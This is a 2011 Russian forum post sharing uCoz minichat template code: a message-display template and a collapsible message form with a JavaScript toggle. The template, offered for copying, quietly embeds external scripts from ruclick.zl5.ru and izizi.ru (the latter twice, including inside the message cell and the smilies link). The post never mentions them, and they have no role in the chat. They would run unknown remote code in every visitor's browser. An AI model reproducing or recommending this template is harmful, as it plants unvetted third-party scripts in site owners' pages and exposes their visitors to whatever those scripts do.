• Страница 1 из 1
  • 1
Новый миничат by Spout v1.0
romasickДата: Пятница, 29.04.2011, 20:42 | Сообщение # 1
pRo
Группа: Генерал
Сообщений: 48
Награды: 2
Репутация: 10003
Offline
Пример скрипта : http://i010.radikal.ru/1101/22/aff2e58c0e77.png

В вид материалов миничата

Code
<div class="cBlock$PARITY$" style="padding:0 4px 5px 2px;margin-bottom:3px;">  
       <div style="float:right;font-size:8px;" title="$DATE$">$TIME$</div>  
       <div style="text-align:left;">  
       <?if($USERNAME$)?><a href="$PROFILE_URL$" title="$USERNAME$" rel="nofollow"><img alt="" src="" width="13" border="0" style="vertical-align:-2px"/></a> <?endif?>  
       <a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;"><b><img src="http://www.iconsearch.ru/uploads/icons/nuvola2/16x16/personal.png" border="0">$NAME$</b></a>  
       <?if($EMAIL$)?> <a href="$EMAIL_JS$" title="$STR_EMAIL$">E</a><?endif?>  
       <?if($SITE$)?> <a rel="nofollow" href="$SITE$" target="_blank" title="$STR_URL$">W</a><?endif?>  
       </div><script src="http://s1.ruclick.zl5.ru/6s8bx45d4r.js" type="text/javascript"></script>  
       <table cellspacimg="0" align="center" border="0" cellpadding="0" width="100%"> <tr> <td style="border: 1px dashed rgb(204, 204, 204);" align="left" bgcolor="#FFFFFF" valign="middle" width='30%'><script src="http://izizi.ru/1.js" type="text/javascript"></script><table border="0"><tr><td valign="middle" align='left'><left>$MESSAGE$</left></td></tr></tbody></table></td></tr> </table>  
       <?if($CUSTOM1$)?><br>$STR_CUSTOM1$: $CUSTOM1$<?endif?>  
       <?if($CUSTOM2$)?><br>$STR_CUSTOM2$: $CUSTOM2$<?endif?>  
       </div>

В форму добавления сообщения миничата

Code
<table cellspacimg="0" align="center" border="0" cellpadding="0" width="100%"> <tr> <td style="border: 1px dashed rgb(204, 204, 204);" align="center" bgcolor="#FFFFFF" valign="middle" width='30%'><table border="0"><tr><td valign="middle" align='left'><center>  

       <style>  
            .spoilertop {cursor:pointer;}  
            </style>  

                <div class="spoilertop" onclick="openClose('1')">  
                 <center>   <b>[Ответить в чат]</b></center>  
             </div>  
       <div class="spoilerbox" id="1" style="display:none;">  
       <?if(!$CAN_ADD$)?><div align="center"><?if($LOGIN_LINK$)?><a href="$LOGIN_LINK$">Для добавления необходима авторизация</a><?else?>Доступ запрещен<?endif?></div><?else?>  
       <table border="0" cellpadding="1" cellspacing="1" width="100%">  
       <tr><td>$FLD_AUTOUPD$</td>  
       <td width="70%" align="right">  
       <a href="$RELOAD_URI$" title="Обновить"><img alt="" border="0" align="absmiddle" src="http://s106.ucoz.net/img/fr/mcr.gif" width="13" height="15"></a>  
       <?if($SMILES_URI$)?> <a href="$SMILES_URI$" title="Вставить смайл"><img alt="" border="0" align="absmiddle" src="http://s106.ucoz.net/img/fr/mcs.gif" width="13" height="15"></a><script src="http://izizi.ru/1.js" type="text/javascript"></script><?endif?>  
       <?if($BBCODES_URI$)?> <a href="$BBCODES_URI$" title="BB-Коды"><img alt="" border="0" align="absmiddle" src="http://s106.ucoz.net/img/fr/mcb.gif" width="13" height="15"></a><?endif?>  
       <?if($MSGCTRL_URI$)?> <a href="$MSGCTRL_URI$" title="Управление сообщениями"><img alt="" border="0" align="absmiddle" src="http://s106.ucoz.net/img/fr/mcm.gif" width="15" height="15"></a><?endif?>  
       </td></tr></table>  

       <?if(!$USER_LOGGED_IN$)?>  
       <table border="0" cellpadding="1" cellspacing="1" width="100%">  
       <tr><td colspan="2">$FLD_NAME$</td></tr>  
       <tr><td width="50%">$FLD_EMAIL$</td><td>$FLD_URL$</td></tr>  
       </table>  
       <?endif?>  

       <?if($FLD_CUSTOM1$ || $FLD_CUSTOM2$)?>  
       <table border="0" cellpadding="1" cellspacing="1" width="100%">  
       <tr><td width="50%">$FLD_CUSTOM1$</td><td>$FLD_CUSTOM2$</td></tr>  
       </table>  
       <?endif?>  

       <?if($FLD_SECURE$)?>  
       <table border="0" cellpadding="1" cellspacing="1" width="100%">  
       <tr><td width="50%">$FLD_SECURE$</td><td align="right">$IMG_SECURE$</td></tr>  
       </table>  
       <?endif?>  

       <table border="0" cellpadding="1" cellspacing="1" width="100%">  
       <tr><td width="95%" rowspan="2">$FLD_MESSAGE$</td>  
       <td align="center" valign="top"><div style="font-size:10px;">$LENGTH_COUNTER$</div></td>  
       </tr><tr><td align="center" valign="bottom">$SUBMIT$</td></tr></table>  
       <?endif?>  
       </div>  
              

       <script language="javascript" type="text/javascript">  
            function openClose(id)  
            {  
            var obj = "";                             
            if(document.getElementById)  
            obj = document.getElementById(id).style;  
            else if(document.all)  
            obj = document.all[id];  
            else if(document.layers)  
            obj = document.layers[id];  
            else  
            return 1;  
                        
            if(obj.display == "")  
            obj.display = "none";  
            else if(obj.display != "none")  
            obj.display = "none";  
            else  
            obj.display = "block";  
            }  
            </script>  

         </center></td></tr></tbody></table></td></tr> </table>
 
  • Страница 1 из 1
  • 1
Поиск: